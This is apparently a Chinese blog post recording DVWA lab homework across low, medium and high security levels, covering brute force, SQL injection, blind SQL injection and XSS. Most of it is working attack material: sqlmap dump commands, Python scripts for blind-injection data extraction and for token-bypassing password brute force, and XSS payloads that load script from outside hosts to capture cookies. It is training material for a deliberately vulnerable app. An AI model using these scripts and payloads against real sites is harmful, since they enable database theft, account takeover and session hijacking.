DVWA[作业]

dvwa

记录作业,干饭人罢了

low

Low – This security level is completely vulnerable and has no security measures at all. It’s use is to be as an example of how web application vulnerabilities manifest through bad coding practices and to serve as a platform to teach or learn basic exploitation techniques

Brute Force

利用burpsuite的intruder模板来爆破发包

image-20201203203040570

如果已知用户名,攻击选项可以用 SniperBattering ram,如果usernamepassword两个参数都未知,可用PitchforkCluster bomb

单字典(无论几个变量都是一个字典)

单字典:Sniper、Battering ram Sniper:如果选择多个变量,此字典会先爆破一个变量,再爆破第二个变量(一个一个来)

Battering ram:无论选择过个变量。此字典都会同时爆破(多个一起上)

多字典(几个变量就用几个字典)

多字典:Pitchfork、Cluster bomb Pitchfork:此字典同时进行(同时出) Cluster bomb:爆破建议选择此字典(一对多。我出1,你逐个出完后,我再出2,你再逐个出完后,我才能再出下一个)

这里假设不知道admin:password这个账户,来爆破账户和密码

image-20201203211524309

username 字典选择

image-20201203203848706

password字典选择

image-20201203203928143

最后根据返回长度来判断

image-20201203212050134

SQL injection

尝试参数如下:

http://localhost/vulnerabilities/sqli/?id=0' or 1--+&Submit=Submit# 得到当前表格全部数据

  • 得到所有表

http://localhost/vulnerabilities/sqli/?id=0' union select group_concat(table_name),2 from information_schema.tables where table_schema=database()--+ &Submit=Submit#

image-20201204010629549
  • 得到当前表的所有列名

http://localhost/vulnerabilities/sqli/?id=0' union select group_concat(column_name),2 from information_schema.columns where table_schema=database()--+ &Submit=Submit#

image-20201204010738904

也可以使用sqlmap

sqlmap -u 'http://localhost/vulnerabilities/sqli/?id=*&Submit=Submit#' -cookie "security=low;PHPSESSID=djmf6gr3es1083djo7lock7rs4" -D dvwa -T users --dump

SQL injection (Blind)

测试

http://localhost/vulnerabilities/sqli_blind/?id=0' or 1--+&Submit=Submit#
http://localhost/vulnerabilities/sqli_blind/?id=0' or 0--+&Submit=Submit#

发现回显不一样

image-20201203221508495
image-20201203221519247

payload 如下:

import requests
import string
import math


headers = {
    'cookie':'security=low;PHPSESSID=djmf6gr3es1083djo7lock7rs4'
}

def get_length():
    left = 1
    right = 40
    while 1:
        mid = left + (right - left)//2
        if mid ==left:
            info = mid 
            print("[*] Length :"+ str(info))
            return info
            break
        payload = "0'or if(({0}) < {1},1,0 )--+".format(data_payload,mid)
        url = "http://localhost/vulnerabilities/sqli_blind/?id={0}&Submit=Submit#".format(payload)
        res = requests.get(url,headers=headers)
        if('User ID exists in the database.'  in res.text):
            right = mid 
        else:
            left = mid 



def get_data(length):
    data = ""
    for i in range(1,length):
        left = 32
        right = 127
        while 1:
            mid = left + (right - left)//2
            if mid ==left:
                info = mid 
                data += chr(info)
                #print(data)
                break
            payload = "0'or if(ascii(substr(({0}),{1},1)) < {2} ,1,0)--+".format(data_payload,i,mid)
            url = "http://localhost/vulnerabilities/sqli_blind/?id={0}&Submit=Submit#".format(payload)
            res = requests.get(url,headers=headers)
            if('User ID exists in the database.'  in res.text):
                right = mid 
            else:
                left = mid

    print("[*] Data :"+ data)
    return data

if __name__ == '__main__':

    data_payload = "select length(group_concat(table_name)) from information_schema.tables where table_schema = database()"
    length = get_length()
    
    data_payload = "select group_concat(table_name) from information_schema.tables where table_schema = database()"
    get_data(length+1)

当然,也可以直接用sqlmap来布尔注入

sqlmap -u 'http://localhost/vulnerabilities/sqli_blind/?id=1&Submit=Submit#' -cookie "security=low;PHPSESSID=djmf6gr3es1083djo7lock7rs4" -D dvwa -T users --dump --threads 10
image-20201204012536879

XSS reflected

也可以利用xss平台来进行攻击

http://localhost/vulnerabilities/xss_r/?name=<script+src=https://sourl.cn/LMUGGq></script>#

这时xss平台将会获得当前用户的cookie值。

image-20201204041154779
http://localhost/vulnerabilities/xss_r/?name=<script src="http://blue.xzaslxr.xyz/myjs/copyright.js"></script>#
image-20201204045805624

XSS stored

当输入为111时,html 源代码为

<div id="guestbook_comments">Name: fe1w0<br />Message: 111<br /></div>

输入<scritp>alert(1);</script>可以构成

<div id="guestbook_comments">Name: fe1w0<br />Message: <script>alert(1);</script><br /></div>	
image-20201204201721188

根据对留言板进行的简单测试,可以发现没有什么过滤,可以直接在Message中添加code

<script src=https://sourl.cn/bYK4p8></script> #指向 xss code script 的短链接 
image-20201204195531584

平台接受cookie

image-20201204201134994

medium

Medium – This setting is mainly to give an example to the user of bad security practices, where the developer has tried but failed to secure an application. It also acts as a challenge to users to refine their exploitation techniques.

Brute Force

从测试和php代码,可以得知mediumlow的区别,主要在于对于fail时的处理,mediumlow多了当认证失败时,会延时2秒

    if( $result && mysqli_num_rows( $result ) == 1 ) {
        // Get users details
        $row    = mysqli_fetch_assoc( $result );
        $avatar = $row["avatar"];

        // Login successful
        echo "<p>Welcome to the password protected area {$user}</p>";
        echo "<img src=\"{$avatar}\" />";
    }
    else {
        // Login failed
        sleep( 2 ); // low 中没有
        echo "<pre><br />Username and/or password incorrect.</pre>";
    }

所有,可以根据response的时间来,判断是否认证成功,也可以通过长度来判断

如下是根据响应时间来得到正确密码

import requests
import time 


parameterList = []
target = []

def read_file():
    global parameterList
    fileName = '/home/fe1w0/tool/fuzzDicts/passwordDict/top500.txt' 
    with open(fileName,'r',encoding='utf-8') as f:
        parameterList = f.read().splitlines() 

def send_request(n):
    global target
    url =  "http://127.0.0.1/vulnerabilities/brute/?username=admin&password={0}&Login=Login".format(n)
    headers = {
        'Cookie':"PHPSESSID=djmf6gr3es1083djo7lock7rs4; security=medium"
    }
    try:
        res = requests.get(url,headers=headers,timeout = 1)
        target.append(n)
        return True
    except:
        #print(n+" is error")
        return False

def brute():
    for n in parameterList:
        time.sleep(0.5)
        if(send_request(n)):
            break

if __name__ == '__main__':
    read_file()
    #print(len(parameterList)) 
    #parameterLength =  len(parameterList)
    brute()
    
    if target == [] :
        print("no result")
    else:
        print(target)

SQL injection

简单测试如下:

POST /vulnerabilities/sqli/ HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:83.0) Gecko/20100101 Firefox/83.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://localhost/vulnerabilities/sqli/
Content-Type: application/x-www-form-urlencoded
Content-Length: 31
Origin: http://localhost
Connection: close
Cookie: PHPSESSID=ekao5ipdo4tassmucbjog9tqg1; security=medium
Upgrade-Insecure-Requests: 1
Pragma: no-cache
Cache-Control: no-cache

id=2-1&Submit=Submit

返现为 id=1时的查询结果, 即存在数字类型的注入,改成post

此外,支持联合注入

Submit=Submit&id=0 union select group_concat(column_name),2 from information_schema.columns where table_schema=database()
image-20201205131211040

也可以用sqlmap

local_sql_0x01.txt

POST /vulnerabilities/sqli/ HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:83.0) Gecko/20100101 Firefox/83.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://localhost/vulnerabilities/sqli/
Content-Type: application/x-www-form-urlencoded
Content-Length: 18
Origin: http://localhost
Connection: close
Cookie: PHPSESSID=ekao5ipdo4tassmucbjog9tqg1; security=medium
Upgrade-Insecure-Requests: 1
Pragma: no-cache
Cache-Control: no-cache

id=*&Submit=Submit
sqlmap -r local_sqli_0x01.txt --dbs
...
[14:21:25] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.0.12 (MariaDB fork)
[14:21:25] [INFO] fetching database names
available databases [2]:
[*] dvwa
[*] information_schema

SQL injection (Blind)

payload

import requests
import string
import math
import HackRequests

def get_length():
    left = 1
    right = 40
    while 1:
        mid = left + (right - left)//2
        if mid ==left:
            info = mid 
            print("[*] Length :"+ str(info))
            return info
            break
        hack = HackRequests.hackRequests()
        payload = "0 or if(({0}) < {1},1,0 )--+".format(data_payload,mid)
        payload = "Submit=Submit&id={0}".format(payload)
        url = "http://localhost/vulnerabilities/sqli_blind/#"
        raw = '''
POST /vulnerabilities/sqli_blind/ HTTP/1.1
Host: localhost
User-Agent: python-requests/2.20.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
cookie: security=medium;PHPSESSID=97joaelts706nticnj0ouk15p4
Content-Length: {0}
Content-Type: application/x-www-form-urlencoded

{1}
'''.format(len(payload),payload)
        res = hack.httpraw(raw)
        if('User ID exists in the database.'  in res.text()):
            right = mid
        else:
            left = mid 



def get_data(length):
    data = ""
    for i in range(1,length):
        left = 32
        right = 127
        while 1:
            mid = left + (right - left)//2
            if mid ==left:
                info = mid 
                data += chr(info)
                break
            hack = HackRequests.hackRequests()
            payload = "0 or if(ascii(substr(({0}),{1},1))<{2},1,0)--+".format(data_payload,i,mid)
            payload = "id={0}&Submit=Submit".format(payload)
            url = "http://localhost/vulnerabilities/sqli_blind/#"
            raw1 = '''
POST /vulnerabilities/sqli_blind/ HTTP/1.1
Host: localhost
User-Agent: python-requests/2.20.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
cookie: security=medium;PHPSESSID=97joaelts706nticnj0ouk15p4
Content-Length: {0}
Content-Type: application/x-www-form-urlencoded

{1}'''.format(len(payload),payload)
            res1 = hack.httpraw(raw1)
            if('User ID exists in the database.' in res1.text()):
                right = mid 
            else:
                left = mid

    print("[*] Data :"+ data)
    return data


if __name__ == '__main__':

    data_payload = "select length(group_concat(table_name)) from information_schema.tables where table_schema = database()"
    length = get_length()
    
    data_payload = "select group_concat(table_name) from information_schema.tables where table_schema = database()"
    get_data(length+1)

XSS reflected

<?php

header ("X-XSS-Protection: 0");

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
    // Get input
    $name = str_replace( '<script>', '', $_GET[ 'name' ] );

    // Feedback for end user
    echo "<pre>Hello ${name}</pre>";
}

?>

大小写绕过

http://localhost/vulnerabilities/xss_r/?name=<Script>alert(1)</Script>#

双写绕过

http://localhost/vulnerabilities/xss_r/?name=<sc<script>ript>alert(1)</scr<script>ipt>#

XSS stored

<?php

if( isset( $_POST[ 'btnSign' ] ) ) {
    // Get input
    $message = trim( $_POST[ 'mtxMessage' ] );
    $name    = trim( $_POST[ 'txtName' ] );

    // Sanitize message input
    $message = strip_tags( addslashes( $message ) );
    $message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    $message = htmlspecialchars( $message );

    // Sanitize name input
    $name = str_replace( '<script>', '', $name );
    $name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

    // Update database
    $query  = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

    //mysql_close();
}

?>

和上面一样

POST btnSign=Sign+Guestbook&mtxMessage=1&txtName=<Script>alert(1)</Script>

POST btnSign=Sign+Guestbook&mtxMessage=1&txtName=<sc<script>ript>alert(1)</scr<script>ipt>

high

High – This option is an extension to the medium difficulty, with a mixture of harder or alternative bad practices to attempt to secure the code. The vulnerability may not allow the same extent of the exploitation, similar in various Capture The Flags (CTFs) competitions.

Brute Force

<?php

if( isset( $_POST[ 'Login' ] ) && isset ($_POST['username']) && isset ($_POST['password']) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // Sanitise username input
    $user = $_POST[ 'username' ];
    $user = stripslashes( $user );
    $user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

    // Sanitise password input
    $pass = $_POST[ 'password' ];
    $pass = stripslashes( $pass );
    $pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    $pass = md5( $pass );

    // Default values
    $total_failed_login = 3;
    $lockout_time       = 15;
    $account_locked     = false;

    // Check the database (Check user information)
    $data = $db->prepare( 'SELECT failed_login, last_login FROM users WHERE user = (:user) LIMIT 1;' );
    $data->bindParam( ':user', $user, PDO::PARAM_STR );
    $data->execute();
    $row = $data->fetch();

    // Check to see if the user has been locked out.
    if( ( $data->rowCount() == 1 ) && ( $row[ 'failed_login' ] >= $total_failed_login ) )  {
        // User locked out.  Note, using this method would allow for user enumeration!
        //echo "<pre><br />This account has been locked due to too many incorrect logins.</pre>";

        // Calculate when the user would be allowed to login again
        $last_login = strtotime( $row[ 'last_login' ] );
        $timeout    = $last_login + ($lockout_time * 60);
        $timenow    = time();

        /*
        print "The last login was: " . date ("h:i:s", $last_login) . "<br />";
        print "The timenow is: " . date ("h:i:s", $timenow) . "<br />";
        print "The timeout is: " . date ("h:i:s", $timeout) . "<br />";
        */

        // Check to see if enough time has passed, if it hasn't locked the account
        if( $timenow < $timeout ) {
            $account_locked = true;
            // print "The account is locked<br />";
        }
    }

    // Check the database (if username matches the password)
    $data = $db->prepare( 'SELECT * FROM users WHERE user = (:user) AND password = (:password) LIMIT 1;' );
    $data->bindParam( ':user', $user, PDO::PARAM_STR);
    $data->bindParam( ':password', $pass, PDO::PARAM_STR );
    $data->execute();
    $row = $data->fetch();

    // If its a valid login...
    if( ( $data->rowCount() == 1 ) && ( $account_locked == false ) ) {
        // Get users details
        $avatar       = $row[ 'avatar' ];
        $failed_login = $row[ 'failed_login' ];
        $last_login   = $row[ 'last_login' ];

        // Login successful
        echo "<p>Welcome to the password protected area <em>{$user}</em></p>";
        echo "<img src=\"{$avatar}\" />";

        // Had the account been locked out since last login?
        if( $failed_login >= $total_failed_login ) {
            echo "<p><em>Warning</em>: Someone might of been brute forcing your account.</p>";
            echo "<p>Number of login attempts: <em>{$failed_login}</em>.<br />Last login attempt was at: <em>${last_login}</em>.</p>";
        }

        // Reset bad login count
        $data = $db->prepare( 'UPDATE users SET failed_login = "0" WHERE user = (:user) LIMIT 1;' );
        $data->bindParam( ':user', $user, PDO::PARAM_STR );
        $data->execute();
    } else {
        // Login failed
        sleep( rand( 2, 4 ) );

        // Give the user some feedback
        echo "<pre><br />Username and/or password incorrect.<br /><br/>Alternative, the account has been locked because of too many failed logins.<br />If this is the case, <em>please try again in {$lockout_time} minutes</em>.</pre>";

        // Update bad login count
        $data = $db->prepare( 'UPDATE users SET failed_login = (failed_login + 1) WHERE user = (:user) LIMIT 1;' );
        $data->bindParam( ':user', $user, PDO::PARAM_STR );
        $data->execute();
    }

    // Set the last login time
    $data = $db->prepare( 'UPDATE users SET last_login = now() WHERE user = (:user) LIMIT 1;' );
    $data->bindParam( ':user', $user, PDO::PARAM_STR );
    $data->execute();
}

// Generate Anti-CSRF token
generateSessionToken();

?>

在high中,因为添加了随机token,无法重复直接爆破

但仔细观察整个流程,当你第一次访问/vulnerabilities/brute/index.php时,在响应页面中,会提供一个token,请求信息如下:

GET /vulnerabilities/brute/index.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:83.0) Gecko/20100101 Firefox/83.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://localhost/vulnerabilities/brute/?username=admin&password=password&Login=Login&user_token=84d52a24ffe8703354366c04006c8293
Connection: close
Cookie: PHPSESSID=83mvo1lnkg0v2g4q0aauqqrj95; security=high
Upgrade-Insecure-Requests: 1
image-20201205163055165

那么,我们将该值作为下一次请求中的usertoken值。

修改之前的脚本

import requests
import time 


parameterList = []
target = []

def get_user_token():
    url =  "http://localhost/vulnerabilities/brute/index.php"
    headers = {
    'Cookie':"PHPSESSID=83mvo1lnkg0v2g4q0aauqqrj95; security=high"
    }
    res = requests.get(url,headers=headers)
    #print(res.text[2917:2917+32])
    user_token = res.text[2917:2917+32]
    return user_token

def read_file():
    global parameterList
    fileName = '/home/fe1w0/tool/fuzzDicts/passwordDict/top500.txt' 
    with open(fileName,'r',encoding='utf-8') as f:
        parameterList = f.read().splitlines() 

def send_request(n,user_token):
    global target
    url =  "http://127.0.0.1/vulnerabilities/brute/?username=admin&password={0}&Login=Login&user_token={1}".format(n,user_token)
    headers = {
        'Cookie':"PHPSESSID=83mvo1lnkg0v2g4q0aauqqrj95; security=high"
    }
    try:
        res = requests.get(url,headers=headers,timeout = 1)
        target.append(n)
        return True
    except:
        #print(n+" is error")
        return False

def brute():
    for n in parameterList:
        time.sleep(0.5)
        if(send_request(n,get_user_token())):
            break

if __name__ == '__main__':
    read_file()
    #print(len(parameterList)) 
    #parameterLength =  len(parameterList)
    
    brute()
    #get_user_token()
    if target == [] :
        print("no result")
    else:
        print(target)

使用burpsuite的爆破模板和macros 模板也可以做到,流程如下

https://portswigger.net/support/using-burp-suites-session-handling-rules-with-anti-csrf-tokens

不用Grep-Extract的原因是在Grep-Extract中response一直是302…而且也不受 重定向设置的影响

https://forum.portswigger.net/thread/csrf-token-extraction-in-forms-responding-with-302-redirect-headers-f7d21930 解决方法从这里启发

PS: 2.0 版bp 没有一个是有parameter handling,但macros 依旧可以正常使用,怀疑改成了自动修改参数位置?? 大雾

在Project options 中选择macros,再选择添加。

在macros 记录器中选择有user_token的历史记录,之后点击🆗

image-20201205191645424
image-20201205192005827

选择宏项目->项目设置->添加自定义参数位置->添加参数名称->双击选择的参数位置->ok

image-20201205192154242

在会话处理规则中,点击添加,并选择运行宏,选择我们刚才添加的宏

image-20201205192300363

之后再在scope中选择运行范围,再开启会话监听就结束了

image-20201205192353445
image-20201205193608298

使用intruder时,注意 最好选择线程数为 1,否则有些结果状态是302

爆破结果如下:

image-20201205192655872

SQL injection

<?php

if( isset( $_SESSION [ 'id' ] ) ) {
    // Get input
    $id = $_SESSION[ 'id' ];

    // Check database
    $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
    $result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>Something went wrong.</pre>' );

    // Get results
    while( $row = mysqli_fetch_assoc( $result ) ) {
        // Get values
        $first = $row["first_name"];
        $last  = $row["last_name"];

        // Feedback for end user
        echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);        
}

?> 

从源代码和/vulnerabilities/sqli/session-input.php页面流程,易得知注入点为$_SESSION[ 'id' ],修改$_SESSION[ 'id' ]即可

poc 如下:

POST /vulnerabilities/sqli/session-input.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:83.0) Gecko/20100101 Firefox/83.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 146
Origin: http://localhost
Connection: close
Cookie: PHPSESSID=83mvo1lnkg0v2g4q0aauqqrj95; security=high
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0

id='union  select group_concat(table_name),group_concat(table_name) from information_schema.tables where table_schema=database() --+&Submit=Submit

再次访问/vulnerabilities/sqli/,即可

image-20201205194657683

SQL injection (Blind)

大致思路与上面一样,对$_SESSION[ 'id' ] 和利用/vulnerabilities/sqli_blind 页面进行布尔注入,

代码

import requests
import string
import math
import HackRequests
import string



def check_reponse(sqlString):
    hack = HackRequests.hackRequests()
    url = "http://localhost/"
    raw = '''
GET /vulnerabilities/sqli_blind/ HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:83.0) Gecko/20100101 Firefox/83.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://localhost/vulnerabilities/sqli/
Connection: close
Cookie: PHPSESSID=83mvo1lnkg0v2g4q0aauqqrj95; security=high;id={0}
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
'''.format(sqlString)
    res = hack.httpraw(raw)
    return res.text()


def get_length():
    left = 1
    right = 40
    while 1:
        mid = left + (right - left)//2
        if mid ==left:
            info = mid 
            print("[*] Length :"+ str(info))
            return info
            break
        hack = HackRequests.hackRequests()
        payload = "0' or if(({0}) < {1},1,0 )--+".format(data_payload,mid)
        postParameter = "Submit=Submit&id={0}".format(payload)
        url = "http://localhost/"
        raw = '''
POST /vulnerabilities/sqli_blind/cookie-input.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:83.0) Gecko/20100101 Firefox/83.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: {0}
Origin: http://localhost
Connection: close
Referer: http://localhost/vulnerabilities/sqli_blind/cookie-input.php
Cookie: PHPSESSID=83mvo1lnkg0v2g4q0aauqqrj95; security=high; id=1
Upgrade-Insecure-Requests: 1

{1}
'''.format(len(postParameter),postParameter)
        #res = hack.httpraw(raw,proxy= ('127.0.0.1','8080'))
        res = hack.httpraw(raw)
        if('User ID exists in the database.'  in check_reponse(payload)):
            right = mid
        else:
            left = mid 



def get_data(length):
    data = ""
    for i in range(1,length):
        left = 32
        right = 127
        while 1:
            mid = left + (right - left)//2
            if mid ==left:
                info = mid 
                data += chr(info)
                break
            hack = HackRequests.hackRequests()
            payload = "0' or if(ascii(substr(({0}),{1},1))<{2},1,0)--+".format(data_payload,i,mid)
            postParameter = "id={0}&Submit=Submit".format(payload)
            url = "http://localhost/"
            raw1 = '''
POST /vulnerabilities/sqli_blind/cookie-input.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:83.0) Gecko/20100101 Firefox/83.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: {0}
Origin: http://localhost
Connection: close
Referer: http://localhost/vulnerabilities/sqli_blind/cookie-input.php
Cookie: PHPSESSID=83mvo1lnkg0v2g4q0aauqqrj95; security=high; id=1
Upgrade-Insecure-Requests: 1

{1}'''.format(len(postParameter),postParameter)
            res1 = hack.httpraw(raw1)
            if('User ID exists in the database.' in check_reponse(payload)):
                right = mid 
            else:
                left = mid

    print("[*] Data :"+ data)
    return data


if __name__ == '__main__':

    data_payload = "select length(group_concat(table_name)) from information_schema.tables where table_schema = database()"
    length = get_length()
    
    data_payload = "select group_concat(table_name) from information_schema.tables where table_schema = database()"
    get_data(length+1)
image-20201205202943340

XSS reflected

源代码

<?php

header ("X-XSS-Protection: 0");

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
    // Get input
    $name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] );

    // Feedback for end user
    echo "<pre>Hello ${name}</pre>";
}

?> 

payload:

<img src=1 onerror=alert(1)>
<details open ontoggle=alert(1)>
<svg><svg onload=alert(1)>
<iframe src='data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='980607'>

XSS stored

<?php

if( isset( $_POST[ 'btnSign' ] ) ) {
    // Get input
    $message = trim( $_POST[ 'mtxMessage' ] );
    $name    = trim( $_POST[ 'txtName' ] );

    // Sanitize message input
    $message = strip_tags( addslashes( $message ) );
    $message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    $message = htmlspecialchars( $message );

    // Sanitize name input
    $name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $name );
    $name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

    // Update database
    $query  = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

    //mysql_close();
}

?> 

payload

xss点还是在txtName

POST /vulnerabilities/xss_s/ HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:83.0) Gecko/20100101 Firefox/83.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 65
Origin: http://localhost
Connection: close
Referer: http://localhost/vulnerabilities/xss_s/
Cookie: PHPSESSID=83mvo1lnkg0v2g4q0aauqqrj95; security=high; id=0%27+or+if%28%28select+length%28group_concat%28table_name%29%29+from+information_schema.tables+where+table_schema+%3D+database%28%29%29+%3C+20%2C1%2C0+%29--+
Upgrade-Insecure-Requests: 1

txtName=<Svg OnLoad=alert(1)>&mtxMessage=1&btnSign=Sign+Guestbook

其他payload

<img src=1 onerror=alert(1)>
<details open ontoggle=alert(1)>
<svg><svg onload=alert(1)>
<iframe src='data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='980607'>

推荐 heroanswer/XSS_Cheat_Sheet_2020_Edition: xss漏洞模糊测试payload的最佳集合 2020版 (github.com)

后记

有件事耿耿于怀,为什么request 多线程时间盲注会有问题,淦。 xss这方面,还是得学习绕过csp才行。

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇